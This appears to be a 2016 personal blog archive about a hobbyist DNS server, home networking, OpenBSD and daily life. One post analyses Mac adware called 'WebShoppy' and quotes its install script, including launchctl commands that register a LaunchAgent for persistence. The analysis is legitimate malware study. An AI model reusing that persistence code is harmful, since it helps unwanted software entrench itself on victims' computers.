A ghost haunts Europe. It's the power ghost. Once there is no more oil either available or sanctioned due to the environmental effects, where will we get our power from? One corporation in Germany has a plan. But do we really want to upkeep the power hegemony in Arabia and Sahara just to get our power? These are political factors which don't convince the technical ones.



Delphinusdnsd 1.0.0 Released

January 1st, 2016

I have released delphinusdnsd 1.0.0. You can download it here. The SHA256 code to the tarball looks like this: 8914aa55437081e44895a4cecdfff82b4a3be03fb38dd65d073c71e1be187e41.

I've worked on this release for over a year. Some parts are incomplete still but I feel I gotta get it out the door. When is a DNS server ever complete though one may ask? Anyhow, enjoy!



When a book loses significance

January 1st, 2016

It's 2016. The following book has lost its significance.

This is the third edition of DNS and BIND, and it doesn't cover bind9 and it doesn't cover DNSSEC. However this book guided me for a while when I was writing on delphinusdnsd prior to writing the DNSSEC code. I can only put this book back into my bookshelf because it looks good. But that's about it. I would recommend the authors works to anyone, they are written in an easy to understand fashion. Just don't get an old book like this one :-).



How hard can changing a password be?

January 1st, 2016

In my network which consists of 1 access point and 2 repeaters to create a WLAN bridge between 3 routers, I tried to change the Wifi password. Simple, I thought. I'd start with the repeater furthest away from me and change its WLAN password, then do the same on the access point and the same for the repeater closest to me. Was I in for a mental boxing match where I did not win. The repeaters decided they did not want to accept the access point because somehow I had WPS set to active, or was that it? Or was it the "hidden" link to find which station to connect to which had a password of its own. I still don't know what I did exactly to make these repeaters finally connect to my AP. On top of that they changed their IP's and I had to re- configure my router to even connect to them. Talk about making a function hard, when it should be as simple as changing a light bulb! No kudos go to AVM with their Fritz line of Access points and Repeaters. They still owe me one regardless, due to losing ARP packets on their AP. Why did I ever invest into crap?



The invisible man

January 3rd, 2016

Have you ever wanted to go offline for good? No Internet for the NSA to track you. No online marketing. No email, and in my case no job. Believe it or not I went offline for about a year in 2001. I was misinformed when 9/11 happened, having only an FM radio to get my information. But imagine if an offline life was manageable. Can we do this at all? Make my workstations PC's again. Meaning it really is a personal computer and not a cloud extension. I'm interested in organizations who facilitate an offline life. Would I take the leap?



Donation time

January 6th, 2016

I have donated 100 euros to Theo de Raadt and OpenBSD. He'll have to get me really angry for me to donate to the foundation and even more angry for me to not donate, lol.



Organized Crime is the Enemy

January 8th, 2016

When you think of safety, you are naive to think you'll get it anywhere after the sun goes down. Be smart, don't put yourself in situations where you're defenseless, avoid hotspots. In Cologne ruthless gangs of organized criminals roamed the train station on new years eve. The police were helpless, due to being outnumbered. One may now think of how to bring the individuals to justice, and face recognition technology comes to mind. Where will it end us up though? In a totalitarian society where everyones face is recognized in real time?

One thing to remember is that it was organized crime that terrorized the few women and men who were rather defenseless. But the herd of sheep now know the wolf is about, and we need to think of ways to protect ourselves. For one, strong cryptography in voice and data is needed, and should not be backdoored. When organized crime does things they do it big and they want to get at the next victims online banking. Be smart, keep the crypto strong it is a foundation, a pillar for fighting the evil in society who group up. We know the wolf exists now and isn't just a fable. We need the right tools to combat him while keeping our society with it's laws and freedoms intact and sturdy.



Dissecting WebShoppy Mac OS X trojan

January 9th, 2016

My dad got a virus on his Mac (Snow Leopard OS X I think). Before we reinstalled it with El Capitan I saved the binary, the install script, and an lsof output of this trojan called WebShoppy.

First unpack my tarball I made, first impressions are that there is a ._3166.sh file that was copied along with the 3166.sh script when I made the tarball, possibly a trait of the virus.

alpha$ tar -xvzf ws.tgz
ws
ws/._3166.sh
ws/3166.sh
ws/list.open
ws/WebShoppy
let's take a look at this ._3166.sh file it seems to be binary code so I'm going to hexdump it.
alpha$ hexdump -C ._3166.sh
00000000  00 05 16 07 00 02 00 00  4d 61 63 20 4f 53 20 58  |........Mac OS X|
00000010  20 20 20 20 20 20 20 20  00 02 00 00 00 09 00 00  |        ........|
00000020  00 32 00 00 00 79 00 00  00 02 00 00 00 ab 00 00  |.2...y..........|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
*
00000050  00 00 00 00 41 54 54 52  00 00 00 00 00 00 00 ab  |....ATTR........|
00000060  00 00 00 9c 00 00 00 0f  00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 01  00 00 00 9c 00 00 00 0f  |................|
00000080  00 00 17 63 6f 6d 2e 61  70 70 6c 65 2e 54 65 78  |...com.apple.Tex|
00000090  74 45 6e 63 6f 64 69 6e  67 00 00 00 75 74 66 2d  |tEncoding...utf-|
000000a0  38 3b 31 33 34 32 31 37  39 38 34                 |8;134217984|
000000ab
Next I will show you parts of the 3166.sh script which was placed in the $HOME of my dad's user.
...
# existing check
brands=(flashmall webshoppers webshoppy smartshoppy)
brandExists=false
for currBrand in "${brands[@]}"; do
    if [ `pgrep -i $currBrand | wc -l` -gt 0 ]; then
        brandExists=$currBrand
    fi
done
...
Here it checks for the following programs already running on this computer. However it clobbers brandExists if multiple instances of these four programs exist.
...
    # user
  sudo -u $INSTALLER_USER launchctl unload $plist_user >> ${mmtmp}/${insname}.lo
g 2>&1
  sudo -u $INSTALLER_USER /bin/rm -f $plist_user
  sudo -u $INSTALLER_USER cp $orig_plist_path $plist_user
  sudo -u $INSTALLER_USER launchctl load $plist_user  >> ${mmtmp}/${insname}.log 2>&1
...
it will then try to add what is a crontab like entry (launchctl). So it registers itself into the system to always start up every boot. plist_user is $HOME/Library/LaunchAgents/com.WebShoppy.agent.plist in the scripts case.

On to the binary, What I found interesting was the content was encrypted, but strings on mac os x doesn't list all printable symbols, so on OpenBSD I was able to see who compiled this binary from environment variables packed into the binary. Chances are it's someone who had their computer hijacked.

...
03wnh{ul7yffwqtvs!vcd2gxr5vl{xjgisx5fvvrpriwyy2F|qvvgnB
pwe|hxlw}".i$0nl#hyrmmgjyoru)$Tejjwo%'ru!vywsoqn)viir0%3h'0npk$+Fiwp g#+$6j&%y~p
!wg{nvwc+vfpp)fvssrebxmxs&_ce$Tejjwo_ce$]r`wiu#QjxbWg{nvw'e^]&
...
/Users/janetlev/macwebtools/WebHelper/
...
So there is ciphertext in the binary as you an see. I did find the janetlev user string in there as well. She's likely innocent, I don't accuse her.

And finally I'd like to show an lsof output of the WebShoppy active in the System before we wiped it.

WebShoppy   491 mydadsuser  cwd      DIR              1,2      1224        2 /
WebShoppy   491 mydadsuser  txt      REG              1,2     56664 19581804 \
/Applications/WebShoppy/WebShoppy
WebShoppy   491 mydadsuser  txt      REG              1,2    600832 15963057 \
/usr/lib/dyld
WebShoppy   491 mydadsuser  txt      REG              1,2 344538318 19594212 \
/private/var/db/dyld/dyld_shared_cache_x86_64
WebShoppy   491 mydadsuser    0r     CHR              3,2       0t0      306 \
/dev/null
WebShoppy   491 mydadsuser    1w     CHR              3,2       0t0      306 \
/dev/null
WebShoppy   491 mydadsuser    2w     CHR              3,2       0t0      306 \
/dev/null
It doesn't seem to be doing too much. Perhaps it does things on a timer basis.

If anyone has hints on how I could have done the analysis or post-analysis any better let me know.



To Human Artificial Systems

January 19th, 2016

Money markets are mainly artificial. They exist only in our minds, with consequences on the body when there is a lack of resources. Let me say this. Would the stock market collapse when a star in the center of the galaxy collides with a black hole? No. Why not??? We have a brilliant way to look beyond the earth's (who we think we've conquered) hemisphere to the stars. Just because we are shielded does not exclude us from events happening in our cosmic neighbourhood. We need to include some reality with our artificial systems. Don't get me started on the price of oil either.



Preparing to sign my zones -> DNSSEC

January 20th, 2016

I still haven't signed the rest of my zones. I will do that in the next coming days and see if it works. I hope so. Delphinusdnsd is capable I think. Noone is downloading it yet though, dunno why.



What's up or down with the Canadian Dollar?

January 21st, 2016

About three months ago I was exchanging my canadian pay and I was getting what was reasonable money back. Today I'd be getting 144 Euros less. That doesn't seem reasonable. I am still patient but patience is running thin, I may have to re-negotiate my work contract to be paid in a more stable currency.



Delphinusdnsd - ironing out the DNSSEC bugs

January 22nd, 2016

I have started signing my personal zones. I'm the only one using them with my family so I can do this. I ran into some trouble yesterday and today with DNSSEC replies. Also reply_mx() in delphinusdnsd didn't like DNSSEC. I have stripped out the offending code but I'm gonna have to revisit it. For anyone who is trying to run this wait for the 1.0.1 release which will come out soon or use tonights snapshot from -current (midnight CEST) to get the MX and NSEC3 fix. Sorry if anyone was bit by this, but I only had 1 DNSSEC test zone, and several zones are now unearthing bugs. I have my weekend planned for writing on this.



All Domain Names signed

January 23rd, 2016

This morning I did the last one of all my domains. Now I sit back and wait for problems to arise. I already did all the online validators and they are saying everything is correct. My email still works, which is the main thing.



Delphinusdnsd 1.0.1 released

January 29th, 2016

Bugfixes from the STABLE_1_0 branch have made the 1.0.1 release. I plan on doing up to 8 more (to 1.0.9) depending on need, otherwise new code will go into the -current branch and ultimately into the 1.1.0 release.



Electricity for 2015 way up

February 3rd, 2016

I guess I must have had too many days where I had it too warm in my apartment. So here is the table for comparison with the previous two years. It feels a bit fishy but I'll take their word for it.

YearNightDayTotal
2013694112768217
2014690613238229
201510151145211603

This is in comparison with an earlier article from last year. I'm not gonna fight this outrageous bill but I'm gonna try to keep a cooler apartment for 2016 since it's mainly the heaters that made this jump.



Ten days from now is Year Three

February 3rd, 2016

It's been 3 years since I had this apartment. A look back. Unfortuantely the electricity bill for 2015 was high, and I had to pay for a new Fridge. All in all these are 1000 euros of expenses that I didn't foreplan. But I have the best apartment I ever had and I still have the job I had when I moved here.



Delphinusdnsd what's next in development?

February 8th, 2016

I want to revisit the signing tool, and possibly do it in C. That or I'm thinking of incorporating DNSSEC signing right into the daemon. That would be a great feat, but hard to do I suspect. I'll have to carefully weigh my options.



DSL Link issues, Provider refuses to help me...

February 12th, 2016

I think it's time to switch providers. I have DSL link issues that started on Tuesday at 17:25 PM. The Link Control Protocol on my PPPoE router complains of lost keepalive frames and resets the connection.

Feb 12 10:29:34 gamma /bsd: pppoe0: LCP keepalive timeout
This is what my provider wrote to me (in german):
vielen Dank für Ihre E-Mail.

Die CPE weist auf ein Fremdgerät hin. Sollte dies der Fall sein, 
schliessen Sie bitte die von M-net bereitgestellte Fritz!Box 3270 an 
und testen die Verbindung mit diesem Endgerät.

Auf Fremdgeräte können wir leider keinen Support geben.
I'm not going to plug in that insecure old router they request from me. Plus my internal network can't use it, it would take too much reconfiguring to put this router on. I've ordered a new VDSL modem though in case it's my (dumb) ADSL2 modem. This new modem allows me 100 Mbit/s which is tempting to be gotten. I think a switch will do me good as long as I can keep all equipment as is.



Apple is right (in this case)

February 18th, 2016

Apple has released a "letter to customer" outlining why they will fight the US government to put a back door into IOS products. In this case they (apple) are right, and I'm proud to have an IoS device now. It takes a large corporation with good will to stand up to the strongest country in the world, and this time they are actually defending freedoms! My how upside-down that sounds, usually corporations take away freedoms and the government has to protect consumer rights. Just a sign though that there is people in government with great powers that want to take all of our privacy away, to know everything about us to hurt us in the end. We have a lack of good people in government it seems.



Getting a TV after 16 years having none

February 20th, 2016

I've decided to get a TV. I also decided to change my ISP that will give me triple play (Internet, VOIP Phone, TV over IP). All in all I'm going to turn this around in the next month or so. Stay tuned.



Registered domain zeropager.de

February 23th, 2016

I have registered the domain zeropager.de. I did this because as a youth me and my buddies got pagers. Back then it was the in thing to do to have a pager as mobile phones were still too expensive to have. Public phone booths were aplenty back then and we used to make little 3 number codes to identify ourselves who were were, if the call was urgent or if we're inquiring where someone is. It was pretty fun. I had a dream about paging my old friend last night. It gave me a thought of perhaps making a SIP based paging business where people carry a raspberry pi zero around that writes on a LED display what people are paging them via SMS or email. Who knows perhaps it'll lead to something cool. I'm just riding my imagination right now.

And yes since I'm a kernel programmer newbie I'm sure to hit a zeropage some where if I was using it in hacker sense. I'm just buggy :P.



Venus broke

February 24th, 2016

My Soekris net6501 firewall broke. It's still on warranty but until then I'll be missing it from my network. I'm in contact with the reseller regarding RMA.



New Access Point in my apartment

February 24th, 2016

I have bought and installed an ASUS EA-AC87 Wireless AC1800 access point in place of my Fritzbox. It took some nerves to configure my repeaters to it but now everythign is functioning. Just too bad the soekris died. I'm monitoring the health of this wireless access point but so far so good. I can't do test scp's to see how much faster everything is becuaes I lost the soekris/venus and will have to wait until it's replaced.



19 days until March Equinox

March 1st, 2016

Happy March. We'll see the transition from winter to summer in this month at least officially as a number because the equinox is officially the markation point at which spring starts and winter ends. Can't wait!



New VDSL modem turned on

March 1st, 2016

I have turned on this new VDSL2 modem that I got the other day. Here is the link stats from my current ADSL.

I'm slowly getting ready to get a new provider (one that offers VDSL2 with vectoring) giving me 100 Mbit/40 Mbit. I'm just waiting for the venus soekris board to be returned to me with whatever fixes, and then I'm initiating a switch.



Ordered a backup Firewall

March 3rd, 2016

I have ordered a backup APU firewall. I'll keep this around in case the one I use now breaks. Having venus break was a wakeup call for me. Basically I can't afford to lose gamma my main firewall, or have a backup for it. I chose the latter. I wouldn't need this if I didn't work from home, btw. Looking in my chart logically this backup firewall will be called "delta".



After 16 years, I got a TV

March 6th, 2016

I finally got a TV after 16 years. It's a 48" Samsung and just blows my mind. I also bought a few other things with it. Now it's almost time to save up money again. I'm feeling really lucky though. It's great to be having money to spend and make use of these things. Thanks to a job!



30 Years of Personal Computing History

March 6th, 2016

I have updated my chart of all computers I have ever bought (except the RPI) that I last left in this article. Had I an accumulated computer of all clockcycles and RAM my computer today would be a single core 50 GHz computer with nearly 100 GB of RAM. Wow! However I don't have all the computers anymore so it's less than that in reality. Here is the updated chart...

year  , computer type       , Mhz     ,acc. Mhz , RAM        ,accumulated RAM
------------------------------------------------------------------------------
1986  , Sinclair ZX-81      , 1    Mhz, 1    Mhz, 4        KB,  4         KB
1988  , Commodore C-64      , 2    Mhz, 3    Mhz, 64       KB,  68        KB
1992  , IBM-PC 386-SX25     , 25   Mhz, 28   Mhz, 4096     KB,  4164      KB
1994  , IBM-PC 486-66DX2    , 66   Mhz, 94   Mhz, 8192     KB,  12356     KB
1996  , Intel Pentium 120   , 120  Mhz, 214  Mhz, 32767    KB,  45123     KB
1999  , Intel P-II-350      , 350  Mhz, 564  Mhz, 131072   KB,  176195    KB
1999  , Intel P-II-350      , 350  Mhz, 914  Mhz, 131072   KB,  307267    KB
2000  , AMD Athlon 1000     , 992  Mhz, 1906 Mhz, 262144   KB,  569411    KB
2001  , Apple G3 iBook      , 500  Mhz, 2406 Mhz, 131072   KB,  700483    KB
2001  , Apple G4 Cube       , 450  Mhz, 2856 Mhz, 131072   KB,  831555    KB
2003  , Intel Pentium 200   , 200  Mhz, 3056 Mhz, 65535    KB,  897090    KB
2005  , AMD Athlon64 3500+  , 2200 Mhz, 5256 Mhz, 4194304  KB,  5091394   KB
2010  , Intel Core i7 4core , 9600 Mhz,14000 Mhz, 8192000  KB, 13000000   KB
2011  , Intel Atom N270	    , 1600 Mhz,15600 Mhz, 1024000  KB, 14000000   KB
2012  , AMD C-60 "Ontario"  , 1000 Mhz,16600 Mhz, 4096000  KB, 18000000   KB
2013  , Apple Mac mini      , 8400 Mhz,25000 Mhz,16000000  KB, 34000000   KB
2014  , Intel Xeon E3-      ,14000 Mhz,39000 Mhz,32000000  KB, 66000000   KB
2015  , Celeron CPU N2940   , 7200 Mhz,46000 Mhz, 4096000  KB, 70000000   KB
2015  , Apple MBP Core i5   , 5800 Mhz,52000 Mhz,16000000  KB, 86000000   KB
2015  , PC-Engines APU 2    , ?       , ?       , 2048000  KB, 88000000   KB
2016  , PC-Engines APU 4    , ?       , ?       , 4092000  KB, 92000000   KB
------------------------------------------------------------------------------

Let's see a "computer generation" is 1.5 years and 4 years have passed did 3 generations after doubling each generation hold true for me?
generation 1 - 36
generation 2 - 72
generation 3 - 144

So judging by this I should be buying a 64 GB RAM machine at mid year in 2016. (In order to stay true to Moores law...) Sorry that's not gonna happen, I plan on keeping at a bit of a standstill until 2020. But since this will be another generation past, I'll be expected to get a 256 GB RAM machine or so (by 2020). Wow! I do hope I find a use for it, but with Virtual Reality on the horizon I'm sure there will be.



Lordy Lordy look who is Forty

March 14th, 2016

In a few days I'm turning age forty. Time really went by fast. I'll be updating my private section of my webpage very soon to reflect this.



Making a turn-key dns server out of DelphinusDNSD

March 19th, 2016

Freifunk Franken needed a turn-key server to convert a MAC address to an AAAA RR via DNS, so I fleshed out (stripped out) a lot of parts from delphinusdnsd and made it available to them ( FFFdnsd.tgz). The code to this is open source. Most of the functionality is that I put together last night is in lookup_zone() which creates a struct domain on the fly. There is some inefficiencies on how the code is right now, but it works and that's the main point.

We discussed a little about buffer overflows, but I'm thinking if I introduced anything bad in lookup_zone() then that's where to find those. The rest of the code is identical to the delphinusdnsd code base (which also runs in production). I'm glad to be of use with my 10 year old daemon. It's not every day that I get a request such as this one.



Spring now...

March 21st, 2016

Well it's spring now. The equinox came and went and I didn't even blog about it. However I did find a tweet by Dr. Neil deGrasse Tyson, that said that because of refraction of light the equinox actually has more daylight than night and it's not "equal day/night", but without this refraction of light there would be exactly the same time for night and day. Anyhow I found the tweet worth blogging about.



Very cool presentation by Agarwal

March 27th, 2016

I've been watching this guys science for a while. It intrigues me and my dreams are shaped around the topic of photonic computers. I want to show you the latest presentation I've seen from him:

If only I were smart enough to build me one computer such as that, but to be truthful there is a lot of researchers worldwide trying to make this happen, so why would I succeed? lol.



Handing down my Raspberry Pi model B

March 27th, 2016

Happy Easter. I'm handing down my RPI model B to whoever wants it, I'd prefer giving it away to a young boy or girl at age 11+ that is interested in computers but doesn't have the money to buy a Pi. I'd prefer shipping it within Europe as there is no toll/customs. The stuff cost me around 150 euros altogether (ada fruit display, rpi model b, german power supply (5 watts) and two cases as well as an SD card, hardly used). If you are interested send me an email.



A rare word on politics

March 27th, 2016

The European Union is always enveloped in crisis. We have the finance crisis, the refugee crisis and the schengen crisis. I'm gonna talk about the united europe a little bit which is rare on this blog. Europe is pretty well off in the world picture, but our unity hurts others, mainly fringe states, who see no way to compete with the united europe beside them. This causes political unrest and always will cause political unrest until the union does something about it.

  1. Libya - I think was a mistake for NATO to get involved in. They are worst off now than before with col. gaddaffi. My thought is that we should finish the job and restore order by invading that country.
  2. Syria - The islamic state is pure evil, and bombing them won't be a solution. I say "boots on the ground" here too.
  3. Ukraine - is a loser of being wedged between Russia and EU. We should help them economically.
  4. Turkey - this country is interesting because it is wedged against Russia, Iran and Turkey. They would like to join the EU but europe is not quite sure how to deal with a semi-dictatorship which is their response to Europe not willing to take them in. I say give them economic incentives to steer away from this dictatorship fate.
  5. Caliphate - is a term to name the arabic superstate, however without a caliph (fuehrer) what would you call it? It is in europes best intentions to break down the borders of old arabia and start building a pan-arabia with hopefully democratic values. Think of a guy who has grown up taking his little brother on his shoulders, both get a good perspective.
  6. Israel - is doing pretty good so far, we need a solution about gaza and pan-arabia.
  7. Africa - should be given economic incentives, so that they can become the next regional power. Desertec should be built to support europe but the energy gained should then be reversed and flow toward Ethiopia's dams in order to insure electricity for all of africa. If you don't understand this, please look at a map of africa.
  8. Russia - should be given economic incentives
So that's my current view on politics in our hemisphere. When I say boots on ground I mean an occupation, but not just for a decade but as the model that was done in germany with the allies. So far I'm counting 70+ years. That is what should be done on a Libya/Syria axis to help unite Arabia with a sort of marshall plan. Arabia (pan arabia) needs immense economic aid.



Ordered 100 Mbit Internet

March 28th, 2016

I have ordered from the Telekom in Germany the vdsl100 or magenta zuhause L. With this I have ordered extra tv packages. As the contract that I was in with ADSL before renewed itself for 12 months I'll also have to continue paying the other provider until feb. 2017. Or I'll pay it in one batch which will be better for tax writeoffs. Anyhow the day when I'm supposed to be switched is on april 23rd or so. Wish me luck.



I waited 3 years for this moment

March 30th, 2016

OpenBSD 5.9 was released early yesterday. But I was already working to accomodate it on my Mac Mini. Yes it's running OpenBSD now on a split-boot called rEFInd. I waited 3 years for that moment, but I always felt that previous versions of OpenBSD weren't ready for the mac mini. Here is a dmesg:

rebooting.
OpenBSD 5.9 (GENERIC.MP) #0: Wed Mar 30 14:07:30 CEST 2016
    pjp@earth.centroid.eu:/usr/src/sys/arch/amd64/compile/GENERIC.MP
RTC BIOS diagnostic error ab
real mem = 17063546880 (16273MB)
avail mem = 16542203904 (15775MB)
mpath0 at root
scsibus0 at mpath0: 256 targets
mainbus0 at root
bios0 at mainbus0: SMBIOS rev. 2.4 @ 0x8ad12000 (83 entries)
bios0: vendor Apple Inc. version "censored" date 09/11/2015
bios0: Apple Inc. Macmini6,2
acpi0 at bios0: rev 2
acpi0: sleep states S0 S3 S4 S5
acpi0: tables DSDT FACP HPET APIC SBST ECDT SSDT SSDT SSDT SSDT SSDT ...
acpi0: wakeup devices P0P2(S3) EC__(S3) GMUX(S3) HDEF(S3) RP01(S3) ...
acpitimer0 at acpi0: 3579545 Hz, 24 bits
acpihpet0 at acpi0: 14318179 Hz
acpimadt0 at acpi0 addr 0xfee00000: PC-AT compat
cpu0 at mainbus0: apid 0 (boot processor)
cpu0: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2295.13 MHz
cpu0: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,P...
cpu0: 256KB 64b/line 8-way L2 cache
cpu0: smt 0, core 0, package 0
mtrr: Pentium Pro MTRR support, 10 var ranges, 88 fixed ranges
cpu0: apic clock running at 99MHz
cpu0: mwait min=64, max=64, C-substates=0.2.1.1.2, IBE
cpu1 at mainbus0: apid 2 (application processor)
cpu1: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu1: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT...
cpu1: 256KB 64b/line 8-way L2 cache
cpu1: smt 0, core 1, package 0
cpu2 at mainbus0: apid 4 (application processor)
cpu2: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu2: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,P...
cpu2: 256KB 64b/line 8-way L2 cache
cpu2: smt 0, core 2, package 0
cpu3 at mainbus0: apid 6 (application processor)
cpu3: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu3: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE...
cpu3: 256KB 64b/line 8-way L2 cache
cpu3: smt 0, core 3, package 0
cpu4 at mainbus0: apid 1 (application processor)
cpu4: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu4: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PA...
cpu4: 256KB 64b/line 8-way L2 cache
cpu4: smt 1, core 0, package 0
cpu5 at mainbus0: apid 3 (application processor)
cpu5: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu5: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT...
cpu5: 256KB 64b/line 8-way L2 cache
cpu5: smt 1, core 1, package 0
cpu6 at mainbus0: apid 5 (application processor)
cpu6: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu6: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,...
cpu6: 256KB 64b/line 8-way L2 cache
cpu6: smt 1, core 2, package 0
cpu7 at mainbus0: apid 7 (application processor)
cpu7: Intel(R) Core(TM) i7-3615QM CPU @ 2.30GHz, 2294.79 MHz
cpu7: FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE...
cpu7: 256KB 64b/line 8-way L2 cache
cpu7: smt 1, core 3, package 0
ioapic0 at mainbus0: apid 2 pa 0xfec00000, version 20, 24 pins
ioapic0: misconfigured as apic 0, remapped to apid 2
acpiec0 at acpi0
acpimcfg0 at acpi0 addr 0xe0000000, bus 0-154
acpiprt0 at acpi0: bus 0 (PCI0)
acpiprt1 at acpi0: bus 4 (P0P2)
acpiprt2 at acpi0: bus 1 (RP01)
acpiprt3 at acpi0: bus 2 (RP02)
acpiprt4 at acpi0: bus 3 (RP03)
acpicpu0 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwai...
acpicpu1 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu2 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu3 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait...
acpicpu4 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait....
acpicpu5 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait.1...
acpicpu6 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait.1...
acpicpu7 at acpi0: C3(200@198 mwait.1@0x30), C2(500@148 mwait....
acpibtn0 at acpi0: PWRB
acpibtn1 at acpi0: SLPB
acpivideo0 at acpi0: IGPU
cpu0: Enhanced SpeedStep 2295 MHz: speeds: 2301, 2300, ...
pci0 at mainbus0 bus 0
pchb0 at pci0 dev 0 function 0 "Intel Core 3G Host" rev 0x09
ppb0 at pci0 dev 1 function 0 "Intel Core 3G PCIE" rev 0x09: msi
pci1 at ppb0 bus 4
ppb1 at pci1 dev 0 function 0 "Intel DSL3510 Thunderbolt" rev 0x03
pci2 at ppb1 bus 5
ppb2 at pci2 dev 0 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci3 at ppb2 bus 6
"Intel DSL3510 Thunderbolt" rev 0x03 at pci3 dev 0 function 0 not configured
ppb3 at pci2 dev 3 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci4 at ppb3 bus 7
ppb4 at pci2 dev 4 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci5 at ppb4 bus 56
ppb5 at pci2 dev 5 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci6 at ppb5 bus 105
ppb6 at pci2 dev 6 function 0 "Intel DSL3510 Thunderbolt" rev 0x03: msi
pci7 at ppb6 bus 106
inteldrm0 at pci0 dev 2 function 0 "Intel HD Graphics 4000" rev 0x09
drm0 at inteldrm0
inteldrm0: msi
inteldrm0: 1920x1080
wsdisplay0 at inteldrm0 mux 1: console (std, vt100 emulation)
wsdisplay0: screen 1-5 added (std, vt100 emulation)
xhci0 at pci0 dev 20 function 0 "Intel 7 Series xHCI" rev 0x04: msi
usb0 at xhci0: USB revision 3.0
uhub0 at usb0 "Intel xHCI root hub" rev 3.00/1.00 addr 1
"Intel 7 Series MEI" rev 0x04 at pci0 dev 22 function 0 not configured
ehci0 at pci0 dev 26 function 0 "Intel 7 Series USB" rev 0x04: apic 2 int 23
usb1 at ehci0: USB revision 2.0
uhub1 at usb1 "Intel EHCI root hub" rev 2.00/1.00 addr 1
azalia0 at pci0 dev 27 function 0 "Intel 7 Series HD Audio" rev 0x04: msi
azalia0: codecs: Cirrus Logic CS4206, Intel/0x2806, using Cirrus Logic CS4206
audio0 at azalia0
ppb7 at pci0 dev 28 function 0 "Intel 7 Series PCIE" rev 0xc4: msi
pci8 at ppb7 bus 1
bge0 at pci8 dev 0 function 0 "Broadcom BCM57766" rev 0x01, 
brgphy0 at bge0 phy 1: BCM57765 10/100/1000baseT PHY, rev. 1
sdhc0 at pci8 dev 0 function 1 "Broadcom SD Host Controller" rev 0x01: apic 2 int 17
sdmmc0 at sdhc0
ppb8 at pci0 dev 28 function 1 "Intel 7 Series PCIE" rev 0xc4: msi
pci9 at ppb8 bus 2
"Broadcom BCM4331" rev 0x02 at pci9 dev 0 function 0 not configured
ppb9 at pci0 dev 28 function 2 "Intel 7 Series PCIE" rev 0xc4: msi
pci10 at ppb9 bus 3
"AT&T/Lucent FW643 1394" rev 0x08 at pci10 dev 0 function 0 not configured
ehci1 at pci0 dev 29 function 0 "Intel 7 Series USB" rev 0x04: apic 2 int 22
usb2 at ehci1: USB revision 2.0
uhub2 at usb2 "Intel EHCI root hub" rev 2.00/1.00 addr 1
pcib0 at pci0 dev 31 function 0 "Intel HM77 LPC" rev 0x04
ahci0 at pci0 dev 31 function 2 "Intel 7 Series AHCI" rev 0x04: msi, AHCI 1.3
ahci0: port 0: 3.0Gb/s
scsibus1 at ahci0: 32 targets
sd0 at scsibus1 targ 0 lun 0:  SCSI3 0/direct fixed naa.5000cca6a0d00051
sd0: 953869MB, 512 bytes/sector, 1953525168 sectors
ichiic0 at pci0 dev 31 function 3 "Intel 7 Series SMBus" rev 0x04: apic 2 int 18
iic0 at ichiic0
spdmem0 at iic0 addr 0x50: 8GB DDR3 SDRAM PC3-12800 SO-DIMM
spdmem1 at iic0 addr 0x52: 8GB DDR3 SDRAM PC3-12800 SO-DIMM
isa0 at pcib0
isadma0 at isa0
com0 at isa0 port 0x3f8/8 irq 4: ns8250, no fifo
pcppi0 at isa0 port 0x61
spkr0 at pcppi0
asmc0 at isa0 port 0x300/32: rev 2.8f608, 432 keys
asmc0: read light 0 failed (0x81)
asmc0: read light 1 failed (0x81)
efifb at mainbus0 not configured
nvram: invalid checksum
uhub3 at uhub0 port 1 "Asmedia ASM107x" rev 2.10/1.00 addr 2
uvideo0 at uhub3 port 3 configuration 1 interface 0 "Logitech Webcam C310" rev 2.00/0.10 addr 3
video0 at uvideo0
uaudio0 at uhub3 port 3 configuration 1 interface 2 "Logitech Webcam C310" rev 2.00/0.10 addr 3
uaudio0: audio descriptors make no sense, error=4
ugen0 at uhub3 port 3 configuration 1 "Logitech Webcam C310" rev 2.00/0.10 addr 3
uhub4 at uhub0 port 3 "Apple, Inc. Keyboard Hub" rev 2.00/96.15 addr 4
uhidev0 at uhub4 port 2 configuration 1 interface 0 "Apple Inc. Apple Keyboard" rev 2.00/0.74 addr 5
uhidev0: iclass 3/1
ukbd0 at uhidev0: 8 variable keys, 5 key codes, country code 13
wskbd0 at ukbd0: console keyboard, using wsdisplay0
